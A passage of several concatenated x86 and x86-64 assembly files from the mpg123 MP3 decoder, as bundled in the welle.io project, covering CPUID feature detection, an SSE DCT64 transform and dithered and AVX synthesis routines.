psrlq $32, %xmm3
psllq $32, %xmm4
por %xmm4, %xmm3
punpcklwd %xmm3, %xmm0
movups %xmm0, (ARG2)
psrld $31, %xmm1
psrld $31, %xmm2
paddd %xmm2, %xmm1
paddd %xmm1, XMMREG_CLIP
leaq 16(ARG2), ARG2
decl %ecx
jnz 1b
pshuflw $0xee, XMMREG_CLIP, %xmm0
movhlps XMMREG_CLIP, %xmm1
pshuflw $0xee, %xmm1, %xmm2
paddd %xmm0, XMMREG_CLIP
paddd %xmm1, XMMREG_CLIP
paddd %xmm2, XMMREG_CLIP
movd XMMREG_CLIP, %eax
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm13
movaps 112(%rsp), %xmm14
movaps 128(%rsp), %xmm15
addq $152, %rsp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 2,535 | src/libs/mpg123/getcpuflags.S | /*
getcpucpuflags: get cpuflags for ia32
copyright ?-2006 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http:#mpg123.org
initially written by KIMURA Takuhiro (for 3DNow!)
extended for general use by Thomas Orgis
extern int getcpuid(struct cpuflags*)
or just
extern int getcpuid(unsigned int*)
where there is memory for 4 ints
-> the first set of idflags (basic cpu family info)
and the idflags, stdflags, std2flags, extflags written to the parameter
-> 0x00000000 (CPUID instruction not supported)
*/
#include "mangle.h"
.text
ALIGN4
.globl ASM_NAME(getcpuflags)
/* .type ASM_NAME(getcpuflags),@function */
ASM_NAME(getcpuflags):
pushl %ebp
movl %esp,%ebp
pushl %edx
pushl %ecx
pushl %ebx
pushl %esi
/* get the int pointer for storing the flags */
movl 8(%ebp), %esi
/* does that one make sense? */
movl $0x80000000,%eax
/* now save the flags and do a check for cpuid availability */
pushfl
pushfl
popl %eax
movl %eax,%ebx
/* set that bit... */
xorl $0x00200000,%eax
pushl %eax
popfl
/* ...and read back the flags to see if it is understood */
pushfl
popl %eax
popfl
cmpl %ebx,%eax
je .Lnocpuid
/* In principle, I would have to check the CPU's identify first to be sure how to interpret the extended flags. */
/* now get the info, first extended */
movl $0x0, 12(%esi) /* clear value */
movl $0x0, 16(%esi) /* clear value */
/* only if supported... */
movl $0x80000000, %eax
cpuid
/* IDT CPUs should not change EAX, generally I hope that non-3DNow cpus do not set a bogus support level here. */
cmpl $0x80000001, %eax
jb .Lnoextended /* Skip ext check without minimal support level. */
/* is supported, get flags value */
movl $0x80000001,%eax
cpuid
movl %edx,12(%esi)
.Lnoextended:
/* then the other ones, called last to get the id flags in %eax for ret */
movl $0x00000001,%eax
cpuid
movl %eax, (%esi)
movl %ecx, 4(%esi)
movl %edx, 8(%esi)
/* check if xgetbv instruction is available */
test $0x04000000, %ecx
jz .Lend
test $0x08000000, %ecx
jz .Lend
xor %ecx, %ecx
.byte 0x0f, 0x01, 0xd0 /* xgetbv instruction */
movl %eax, 16(%esi)
movl (%esi), %eax
jmp .Lend
ALIGN4
.Lnocpuid:
/* error: set everything to zero */
movl $0, %eax
movl $0, (%esi)
movl $0, 4(%esi)
movl $0, 8(%esi)
movl $0, 12(%esi)
movl $0, 16(%esi)
ALIGN4
.Lend:
/* return value are the id flags, still stored in %eax */
popl %esi
popl %ebx
popl %ecx
popl %edx
movl %ebp,%esp
popl %ebp
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 9,682 | src/libs/mpg123/dct64_x86_64.S | /*
dct64_x86_64: SSE optimized dct64 for x86-64
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
/* short *out0 */
#define ARG0 %r9
/* short *out1 */
#define ARG1 %rdx
/* real *samples */
#define ARG2 %r8
#else
/* short *out0 */
#define ARG0 %rdi
/* short *out1 */
#define ARG1 %rsi
/* real *samples */
#define ARG2 %rdx
#endif
/*
void dct64_x86_64(short *out0, short *out1, real *samples);
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
ASM_NAME(costab_x86_64):
.long 1056974725
.long 1057056395
.long 1057223771
.long 1057485416
.long 1057855544
.long 1058356026
.long 1059019886
.long 1059897405
.long 1061067246
.long 1062657950
.long 1064892987
.long 1066774581
.long 1069414683
.long 1073984175
.long 1079645762
.long 1092815430
.long 1057005197
.long 1057342072
.long 1058087743
.long 1059427869
.long 1061799040
.long 1065862217
.long 1071413542
.long 1084439708
.long 1057128951
.long 1058664893
.long 1063675095
.long 1076102863
.long 1057655764
.long 1067924853
.long 1060439283
.long 0
.text
ALIGN16
.globl ASM_NAME(dct64_x86_64)
ASM_NAME(dct64_x86_64):
#ifdef IS_MSABI /* should save xmm6-15 */
movq %rcx, ARG0
subq $168, %rsp /* stack alignment + 10 xmm registers */
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
movaps %xmm13, 112(%rsp)
movaps %xmm14, 128(%rsp)
movaps %xmm15, 144(%rsp)
#endif
leaq ASM_NAME(costab_x86_64)(%rip), %rcx
MOVUAPS (ARG2), %xmm15
MOVUAPS 16(ARG2), %xmm14
MOVUAPS 112(ARG2), %xmm0
MOVUAPS 96(ARG2), %xmm1
shufps $0x1b, %xmm0, %xmm0
shufps $0x1b, %xmm1, %xmm1
movaps %xmm15, %xmm8
movaps %xmm14, %xmm9
addps %xmm0, %xmm8
addps %xmm1, %xmm9
subps %xmm0, %xmm15
subps %xmm1, %xmm14
MOVUAPS 32(ARG2), %xmm13
MOVUAPS 48(ARG2), %xmm12
MOVUAPS 80(ARG2), %xmm0
MOVUAPS 64(ARG2), %xmm1
shufps $0x1b, %xmm0, %xmm0
shufps $0x1b, %xmm1, %xmm1
movaps %xmm13, %xmm10
movaps %xmm12, %xmm11
addps %xmm0, %xmm10
addps %xmm1, %xmm11
subps %xmm0, %xmm13
subps %xmm1, %xmm12
movaps (%rcx), %xmm0
movaps 16(%rcx), %xmm1
movaps 32(%rcx), %xmm2
movaps 48(%rcx), %xmm3
mulps %xmm0, %xmm15
mulps %xmm1, %xmm14
mulps %xmm2, %xmm13
mulps %xmm3, %xmm12
movaps 64(%rcx), %xmm0
movaps 80(%rcx), %xmm1
pshufd $0x1b, %xmm11, %xmm2
pshufd $0x1b, %xmm10, %xmm3
shufps $0x1b, %xmm13, %xmm13
shufps $0x1b, %xmm12, %xmm12
movaps %xmm8, %xmm11
movaps %xmm9, %xmm10
movaps %xmm14, %xmm4
movaps %xmm15, %xmm5
subps %xmm2, %xmm11
subps %xmm3, %xmm10
subps %xmm13, %xmm14
subps %xmm12, %xmm15
addps %xmm2, %xmm8
addps %xmm3, %xmm9
addps %xmm5, %xmm12
addps %xmm4, %xmm13
mulps %xmm0, %xmm11
mulps %xmm1, %xmm10
mulps %xmm1, %xmm14
mulps %xmm0, %xmm15
movaps 96(%rcx), %xmm0
pshufd $0x1b, %xmm9, %xmm1
pshufd $0x1b, %xmm13, %xmm2
shufps $0x1b, %xmm10, %xmm10
shufps $0x1b, %xmm14, %xmm14
movaps %xmm8, %xmm9
movaps %xmm12, %xmm13
movaps %xmm11, %xmm3
movaps %xmm15, %xmm4
subps %xmm1, %xmm9
subps %xmm2, %xmm13
subps %xmm10, %xmm11
subps %xmm14, %xmm15
addps %xmm1, %xmm8
addps %xmm2, %xmm12
addps %xmm3, %xmm10
addps %xmm4, %xmm14
mulps %xmm0, %xmm9
mulps %xmm0, %xmm13
mulps %xmm0, %xmm11
mulps %xmm0, %xmm15
movaps 112(%rcx), %xmm0
movaps %xmm0, %xmm1
movlhps %xmm1, %xmm1
movaps %xmm8, %xmm2
movaps %xmm9, %xmm3
shufps $0x44, %xmm10, %xmm2
shufps $0xbb, %xmm11, %xmm9
shufps $0xbb, %xmm10, %xmm8
shufps $0x44, %xmm11, %xmm3
movaps %xmm2, %xmm4
movaps %xmm3, %xmm5
subps %xmm8, %xmm2
subps %xmm9, %xmm3
addps %xmm4, %xmm8
addps %xmm5, %xmm9
mulps %xmm1, %xmm2
mulps %xmm1, %xmm3
movaps %xmm8, %xmm10
movaps %xmm9, %xmm11
shufps $0x14, %xmm2, %xmm8
shufps $0xbe, %xmm2, %xmm10
shufps $0x14, %xmm3, %xmm9
shufps $0xbe, %xmm3, %xmm11
movaps %xmm12, %xmm2
movaps %xmm13, %xmm3
shufps $0x44, %xmm14, %xmm2
shufps $0xbb, %xmm15, %xmm13
shufps $0xbb, %xmm14, %xmm12
shufps $0x44, %xmm15, %xmm3
movaps %xmm2, %xmm4
movaps %xmm3, %xmm5
subps %xmm12, %xmm2
subps %xmm13, %xmm3
addps %xmm4, %xmm12
addps %xmm5, %xmm13
mulps %xmm1, %xmm2
mulps %xmm1, %xmm3
movaps %xmm12, %xmm14
movaps %xmm13, %xmm15
shufps $0x14, %xmm2, %xmm12
shufps $0xbe, %xmm2, %xmm14
shufps $0x14, %xmm3, %xmm13
shufps $0xbe, %xmm3, %xmm15
shufps $0xaa, %xmm0, %xmm0
pcmpeqd %xmm1, %xmm1
pslld $31, %xmm1
psllq $32, %xmm1
xorps %xmm1, %xmm0
movaps %xmm8, %xmm1
movaps %xmm10, %xmm2
unpcklps %xmm9, %xmm8
unpckhps %xmm9, %xmm1
unpcklps %xmm11, %xmm10
unpckhps %xmm11, %xmm2
movaps %xmm8, %xmm3
movaps %xmm10, %xmm4
unpcklps %xmm1, %xmm8
unpckhps %xmm1, %xmm3
unpcklps %xmm2, %xmm10
unpckhps %xmm2, %xmm4
movaps %xmm8, %xmm1
movaps %xmm10, %xmm2
subps %xmm3, %xmm1
subps %xmm4, %xmm2
addps %xmm3, %xmm8
addps %xmm4, %xmm10
mulps %xmm0, %xmm1
mulps %xmm0, %xmm2
movaps %xmm8, %xmm9
movaps %xmm10, %xmm11
unpcklps %xmm1, %xmm8
unpckhps %xmm1, %xmm9
unpcklps %xmm2, %xmm10
unpckhps %xmm2, %xmm11
movaps %xmm12, %xmm1
movaps %xmm14, %xmm2
unpcklps %xmm13, %xmm12
unpckhps %xmm13, %xmm1
unpcklps %xmm15, %xmm14
unpckhps %xmm15, %xmm2
movaps %xmm12, %xmm3
movaps %xmm14, %xmm4
unpcklps %xmm1, %xmm12
unpckhps %xmm1, %xmm3
unpcklps %xmm2, %xmm14
unpckhps %xmm2, %xmm4
movaps %xmm12, %xmm1
movaps %xmm14, %xmm2
subps %xmm3, %xmm1
subps %xmm4, %xmm2
addps %xmm3, %xmm12
addps %xmm4, %xmm14
mulps %xmm0, %xmm1
mulps %xmm0, %xmm2
movaps %xmm12, %xmm13
movaps %xmm14, %xmm15
unpcklps %xmm1, %xmm12
unpckhps %xmm1, %xmm13
unpcklps %xmm2, %xmm14
unpckhps %xmm2, %xmm15
xorps %xmm0, %xmm0
xorps %xmm1, %xmm1
shufpd $0x2, %xmm8, %xmm0
shufpd $0x2, %xmm9, %xmm1
psrlq $32, %xmm0
psrlq $32, %xmm1
addps %xmm0, %xmm8
addps %xmm1, %xmm9
xorps %xmm0, %xmm0
xorps %xmm1, %xmm1
shufpd $0x2, %xmm10, %xmm0
shufpd $0x2, %xmm11, %xmm1
psrlq $32, %xmm0
psrlq $32, %xmm1
addps %xmm0, %xmm10
addps %xmm1, %xmm11
xorps %xmm0, %xmm0
xorps %xmm1, %xmm1
shufpd $0x2, %xmm12, %xmm0
shufpd $0x2, %xmm13, %xmm1
psrlq $32, %xmm0
psrlq $32, %xmm1
addps %xmm0, %xmm12
addps %xmm1, %xmm13
xorps %xmm0, %xmm0
xorps %xmm1, %xmm1
shufpd $0x2, %xmm14, %xmm0
shufpd $0x2, %xmm15, %xmm1
psrlq $32, %xmm0
psrlq $32, %xmm1
addps %xmm0, %xmm14
addps %xmm1, %xmm15
pshufd $0x78, %xmm9, %xmm0
pshufd $0x78, %xmm11, %xmm1
pshufd $0x78, %xmm13, %xmm2
pshufd $0x78, %xmm15, %xmm3
psrldq $4, %xmm0
psrldq $4, %xmm1
psrldq $4, %xmm2
psrldq $4, %xmm3
addps %xmm0, %xmm9
addps %xmm1, %xmm11
addps %xmm2, %xmm13
addps %xmm3, %xmm15
pshufd $0x78, %xmm10, %xmm0
pshufd $0x78, %xmm14, %xmm1
psrldq $4, %xmm0
psrldq $4, %xmm1
addps %xmm11, %xmm10
addps %xmm15, %xmm14
addps %xmm0, %xmm11
addps %xmm1, %xmm15
cvtps2dq %xmm8, %xmm8
cvtps2dq %xmm9, %xmm9
cvtps2dq %xmm10, %xmm10
cvtps2dq %xmm11, %xmm11
packssdw %xmm10, %xmm8
packssdw %xmm11, %xmm9
movd %xmm8, %eax
movd %xmm9, %ecx
movw %ax, 512(ARG0)
movw %cx, 384(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, (ARG0)
movw %ax, (ARG1)
movw %cx, 128(ARG1)
movhlps %xmm8, %xmm0
movhlps %xmm9, %xmm1
movd %xmm0, %eax
movd %xmm1, %ecx
movw %ax, 448(ARG0)
movw %cx, 320(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 64(ARG1)
movw %cx, 192(ARG1)
pshuflw $0xee, %xmm8, %xmm2
pshuflw $0xee, %xmm9, %xmm3
movd %xmm2, %eax
movd %xmm3, %ecx
movw %ax, 256(ARG0)
movw %cx, 128(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 256(ARG1)
movw %cx, 384(ARG1)
pshuflw $0xee, %xmm0, %xmm0
pshuflw $0xee, %xmm1, %xmm1
movd %xmm0, %eax
movd %xmm1, %ecx
movw %ax, 192(ARG0)
movw %cx, 64(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 320(ARG1)
movw %cx, 448(ARG1)
movaps %xmm12, %xmm0
movaps %xmm13, %xmm1
movaps %xmm14, %xmm2
movaps %xmm15, %xmm3
shufps $0x1e, %xmm0, %xmm0
pslldq $4, %xmm0
psrldq $4, %xmm0
addps %xmm2, %xmm12
addps %xmm3, %xmm13
addps %xmm1, %xmm14
addps %xmm0, %xmm15
cvtps2dq %xmm12, %xmm12
cvtps2dq %xmm13, %xmm13
cvtps2dq %xmm14, %xmm14
cvtps2dq %xmm15, %xmm15
packssdw %xmm13, %xmm12
packssdw %xmm15, %xmm14
movd %xmm12, %eax
movd %xmm14, %ecx
movw %ax, 480(ARG0)
movw %cx, 416(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 32(ARG1)
movw %cx, 96(ARG1)
pshuflw $0xee, %xmm12, %xmm0
pshuflw $0xee, %xmm14, %xmm1
movd %xmm0, %eax
movd %xmm1, %ecx
movw %ax, 224(ARG0)
movw %cx, 160(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 288(ARG1)
movw %cx, 352(ARG1)
movhlps %xmm12, %xmm0
movhlps %xmm14, %xmm1
movd %xmm0, %eax
movd %xmm1, %ecx
movw %ax, 352(ARG0)
movw %cx, 288(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 160(ARG1)
movw %cx, 224(ARG1)
pshuflw $0xee, %xmm0, %xmm0
pshuflw $0xee, %xmm1, %xmm1
movd %xmm0, %eax
movd %xmm1, %ecx
movw %ax, 96(ARG0)
movw %cx, 32(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 416(ARG1)
movw %cx, 480(ARG1)
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
movaps 144(%rsp), %xmm15
addq $168, %rsp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 7,492 | src/libs/mpg123/synth_i586_dither.S | /*
decode_i586_dither: asm synth with dither noise
copyright ?-2007 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Stefan Bieschewski as decode_i586.s without dither
This version uses "circular" 64k dither noise.
(Patch by Adrian <adrian.bacon@xs4all.nl>)
Thomas learned something about assembler and the stack while making this one thread safe (removing static data).
*/
#include "mangle.h"
.data
#ifndef __APPLE__
.section .rodata
#endif
ALIGN8
.LC0:
.long 0x0,0x40dfffc0
ALIGN8
.LC1:
.long 0x0,0xc0e00000
ALIGN8
.text
/* int synth_1to1_i586_asm_dither(real *bandPtr, int channel, unsigned char *out, unsigned char *buffs, int bo_and_ditherindex[2], real *decwin, real* dithernoise); */
.globl ASM_NAME(synth_1to1_i586_asm_dither)
ASM_NAME(synth_1to1_i586_asm_dither):
subl $16,%esp
pushl %ebp
pushl %edi
pushl %esi
pushl %ebx
/* stack: 0(%esp)=%ebx 4=esi 8=edi 12=ebp 16,20,24,28=local 32=back 36=bandptr 40=channel 44=out 48=buffs 52=bo 56=decwin 60=dithernoise */
#define BANDPTR 36(%esp)
#define CHANNEL 40(%esp)
#define OUT 44(%esp)
#define BUFFS 48(%esp)
#define BO 52(%esp)
#define DECWIN 56(%esp)
#define DITHERNOISE 60(%esp)
/*#define DITHERNOISE $(ASM_NAME(dithernoise))*/
#define LOC0 16(%esp)
#define LOC1 20(%esp)
#define LOC2 24(%esp)
#define DITHERINDEX 28(%esp)
/* During application of the dithering, we need the shifted locations because there's an additional value on the stack. */
#define DITHERNOISE2 64(%esp)
#define DITHERINDEX2 32(%esp)
movl BANDPTR,%eax
movl OUT,%esi
movl BO, %ebx
movl (%ebx),%ebp /* get bo value */
movl 4(%ebx),%edi; /* get the ditherindex behind bo */
movl %edi,DITHERINDEX
xorl %edi,%edi
cmpl %edi,CHANNEL
jne .L48
decl %ebp
andl $15,%ebp
movl %ebp,(%ebx) /* save bo back */
movl BUFFS,%ecx
jmp .L49
.L48:
/* In stereo mode , "rewind" dither pointer 32 samples , so 2nd channel */
/* has same dither values. Tested OK for mono and stereo MP2 and MP3 */
subl $128,DITHERINDEX /* better move to %edi for the two calculations? */
andl $0x0003fffc,DITHERINDEX
addl $2,%esi
movl BUFFS,%ecx
addl $2176,%ecx
.L49:
/* now the call of dct64 is prepared, stuff pushed to the stack, but soon after it's removed again */
testl $1,%ebp
je .L50
movl %ecx,%ebx
movl %ebp,LOC0
pushl %eax
movl LOC1,%edx
leal (%ebx,%edx,4),%eax
pushl %eax
movl LOC2,%eax
incl %eax
andl $15,%eax
leal 1088(,%eax,4),%eax
addl %ebx,%eax
jmp .L74
.L50:
leal 1088(%ecx),%ebx
leal 1(%ebp),%edx
movl %edx,LOC0
pushl %eax
leal 1092(%ecx,%ebp,4),%eax
pushl %eax
leal (%ecx,%ebp,4),%eax
.L74:
pushl %eax
call FUNC(dct64_i386)
addl $12,%esp
/* Now removed the parameters.
stack: 0(%esp)=%ebx 4=esi 8=edi 12=ebp 16,20,24,28=local 32=back 36=bandptr 40=channel 44=out 48=buffs 52=bo 56=decwin 60=dithernoise */
movl LOC0,%edx
leal 0(,%edx,4),%edx
/* movl ASM_VALUE(decwin)+64,%eax */
movl DECWIN,%eax
addl $64,%eax
movl %eax,%ecx
subl %edx,%ecx
movl $16,%ebp
.L55:
flds (%ecx)
fmuls (%ebx)
flds 4(%ecx)
fmuls 4(%ebx)
fxch %st(1)
flds 8(%ecx)
fmuls 8(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds 12(%ecx)
fmuls 12(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 16(%ecx)
fmuls 16(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds 20(%ecx)
fmuls 20(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 24(%ecx)
fmuls 24(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds 28(%ecx)
fmuls 28(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 32(%ecx)
fmuls 32(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds 36(%ecx)
fmuls 36(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 40(%ecx)
fmuls 40(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds 44(%ecx)
fmuls 44(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 48(%ecx)
fmuls 48(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds 52(%ecx)
fmuls 52(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 56(%ecx)
fmuls 56(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds 60(%ecx)
fmuls 60(%ebx)
fxch %st(2)
subl $4,%esp
faddp %st,%st(1)
fxch %st(1)
fsubrp %st,%st(1)
addl $4,DITHERINDEX2
andl $0x0003fffc,DITHERINDEX2
movl DITHERNOISE2,%edi
addl DITHERINDEX2,%edi
fadds (%edi)
/* fistpl and popl as a unit keep the stack unchanged */
fistpl (%esp)
popl %eax
cmpl $32767,%eax
jg 1f
cmpl $-32768,%eax
jl 2f
movw %ax,(%esi)
jmp 4f
1: movw $32767,(%esi)
jmp 3f
2: movw $-32768,(%esi)
3:
/* incl %edi */
4:
.L54:
addl $64,%ebx
subl $-128,%ecx
addl $4,%esi
decl %ebp
jnz .L55
flds (%ecx)
fmuls (%ebx)
flds 8(%ecx)
fmuls 8(%ebx)
flds 16(%ecx)
fmuls 16(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 24(%ecx)
fmuls 24(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 32(%ecx)
fmuls 32(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 40(%ecx)
fmuls 40(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 48(%ecx)
fmuls 48(%ebx)
fxch %st(2)
faddp %st,%st(1)
flds 56(%ecx)
fmuls 56(%ebx)
fxch %st(2)
subl $4,%esp
faddp %st,%st(1)
fxch %st(1)
faddp %st,%st(1)
addl $4,DITHERINDEX2
andl $0x0003fffc,DITHERINDEX2
movl DITHERNOISE2,%edi
addl DITHERINDEX2,%edi
fadds (%edi)
/* fistpl and popl as a unit keep the stack unchanged */
fistpl (%esp)
popl %eax
cmpl $32767,%eax
jg 1f
cmpl $-32768,%eax
jl 2f
movw %ax,(%esi)
jmp 4f
1: movw $32767,(%esi)
jmp 3f
2: movw $-32768,(%esi)
3:
/* incl %edi */
4:
.L62:
addl $-64,%ebx
addl $4,%esi
movl LOC0,%edx
leal -128(%ecx,%edx,8),%ecx
movl $15,%ebp
.L68:
flds -4(%ecx)
fchs
fmuls (%ebx)
flds -8(%ecx)
fmuls 4(%ebx)
fxch %st(1)
flds -12(%ecx)
fmuls 8(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -16(%ecx)
fmuls 12(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -20(%ecx)
fmuls 16(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -24(%ecx)
fmuls 20(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -28(%ecx)
fmuls 24(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -32(%ecx)
fmuls 28(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -36(%ecx)
fmuls 32(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -40(%ecx)
fmuls 36(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -44(%ecx)
fmuls 40(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -48(%ecx)
fmuls 44(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -52(%ecx)
fmuls 48(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -56(%ecx)
fmuls 52(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds -60(%ecx)
fmuls 56(%ebx)
fxch %st(2)
fsubrp %st,%st(1)
flds (%ecx)
fmuls 60(%ebx)
fxch %st(2)
subl $4,%esp
fsubrp %st,%st(1)
fxch %st(1)
fsubrp %st,%st(1)
addl $4,DITHERINDEX2
andl $0x0003fffc,DITHERINDEX2
movl DITHERNOISE2,%edi
addl DITHERINDEX2,%edi
fadds (%edi)
/* fistpl and popl as a unit keep the stack unchanged */
fistpl (%esp)
popl %eax
cmpl $32767,%eax
jg 1f
cmpl $-32768,%eax
jl 2f
movw %ax,(%esi)
jmp 4f
1: movw $32767,(%esi)
jmp 3f
2: movw $-32768,(%esi)
3:
/* incl %edi */
4:
.L67:
addl $-64,%ebx
addl $-128,%ecx
addl $4,%esi
decl %ebp
jnz .L68
/* return ipv edi 0 in eax */
movl $0,%eax
/* save ditherindex */
movl BO,%ebx
movl DITHERINDEX,%esi
movl %esi,4(%ebx);
/* stack: 0=ebx 4=esi 8=edi 12=ebp 16,20,24,28=local 32=back 36=bandptr 40=channel 44=out 48=buffs 52=bo */
popl %ebx
popl %esi
popl %edi
popl %ebp
addl $16,%esp
/* The stack must be now: 0=back 4=bandptr 8=channel 12=out 16=buffs 20=bo */
ret
#if defined(PIC) && defined(__APPLE__)
.section __IMPORT,__jump_table,symbol_stubs,self_modifying_code+pure_instructions,5
L_dct64_i386:
.indirect_symbol ASM_NAME(dct64_i386)
hlt ; hlt ; hlt ; hlt ; hlt
#endif
NONEXEC_STACK
|
AlbrechtL/welle.io | 5,749 | src/libs/mpg123/synth_stereo_avx_float.S | /*
synth_stereo_avx_float: AVX optimized synth for x86-64 (stereo specific, float output version)
copyright 1995-2013 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
/* real *window; */
#define WINDOW %r10
/* real *b0l; */
#define B0L %rdx
/* real *b0r; */
#define B0R %r8
/* real *samples; */
#define SAMPLES %r9
#else
/* real *window; */
#define WINDOW %rdi
/* real *b0l; */
#define B0L %rsi
/* real *b0r; */
#define B0R %rdx
/* real *samples; */
#define SAMPLES %r9
#endif
/*
int synth_1to1_real_s_avx_asm(real *window, real *b0l, real *b0r, real *samples, int bo1);
return value: number of clipped samples (0)
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
scale_avx:
.long 939524096
.text
ALIGN16
.globl ASM_NAME(synth_1to1_real_s_avx_asm)
ASM_NAME(synth_1to1_real_s_avx_asm):
#ifdef IS_MSABI /* should save xmm6-15 */
push %rbp
mov %rsp, %rbp
sub $144, %rsp
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
movaps %xmm13, 112(%rsp)
movaps %xmm14, 128(%rsp)
movl 48(%rbp), %eax /* 5th argument; placed after 32-byte shadow space */
#endif
vbroadcastss scale_avx(%rip), %ymm14
#ifdef IS_MSABI
shl $2, %eax
mov %rcx, WINDOW
#else
mov %r8d, %eax
shl $2, %eax
mov %rcx, SAMPLES
#endif
add $64, WINDOW
sub %rax, WINDOW
mov $128, %rax
mov $4, %ecx
ALIGN16
1:
vmovups (WINDOW), %ymm8
vmovups 32(WINDOW), %ymm9
vmovups (WINDOW,%rax), %ymm10
vmovups 32(WINDOW,%rax), %ymm11
vmulps (B0L), %ymm8, %ymm0
vmulps 32(B0L), %ymm9, %ymm1
vmulps (B0R), %ymm8, %ymm2
vmulps 32(B0R), %ymm9, %ymm3
vmulps 64(B0L), %ymm10, %ymm4
vmulps 96(B0L), %ymm11, %ymm5
vmulps 64(B0R), %ymm10, %ymm6
vmulps 96(B0R), %ymm11, %ymm7
vaddps %ymm1, %ymm0, %ymm8
vaddps %ymm3, %ymm2, %ymm0
vaddps %ymm5, %ymm4, %ymm9
vaddps %ymm7, %ymm6, %ymm1
lea (WINDOW,%rax,2), WINDOW
add %rax, B0L
add %rax, B0R
vmovups (WINDOW), %ymm10
vmovups 32(WINDOW), %ymm11
vmovups (WINDOW,%rax), %ymm12
vmovups 32(WINDOW,%rax), %ymm13
vmulps (B0L), %ymm10, %ymm2
vmulps 32(B0L), %ymm11, %ymm3
vmulps (B0R), %ymm10, %ymm4
vmulps 32(B0R), %ymm11, %ymm5
vmulps 64(B0L), %ymm12, %ymm6
vmulps 96(B0L), %ymm13, %ymm10
vmulps 64(B0R), %ymm12, %ymm7
vmulps 96(B0R), %ymm13, %ymm11
vaddps %ymm3, %ymm2, %ymm2
vaddps %ymm5, %ymm4, %ymm3
vaddps %ymm6, %ymm10, %ymm4
vaddps %ymm7, %ymm11, %ymm5
lea (WINDOW,%rax,2), WINDOW
add %rax, B0L
add %rax, B0R
vunpcklps %ymm0, %ymm8, %ymm6
vunpckhps %ymm0, %ymm8, %ymm0
vunpcklps %ymm1, %ymm9, %ymm7
vunpckhps %ymm1, %ymm9, %ymm1
vaddps %ymm6, %ymm0, %ymm0
vaddps %ymm7, %ymm1, %ymm1
vunpcklps %ymm3, %ymm2, %ymm6
vunpckhps %ymm3, %ymm2, %ymm2
vunpcklps %ymm5, %ymm4, %ymm7
vunpckhps %ymm5, %ymm4, %ymm3
vaddps %ymm6, %ymm2, %ymm2
vaddps %ymm7, %ymm3, %ymm3
vunpcklpd %ymm1, %ymm0, %ymm4
vunpckhpd %ymm1, %ymm0, %ymm0
vunpcklpd %ymm3, %ymm2, %ymm5
vunpckhpd %ymm3, %ymm2, %ymm1
vsubps %ymm0, %ymm4, %ymm0
vsubps %ymm1, %ymm5, %ymm1
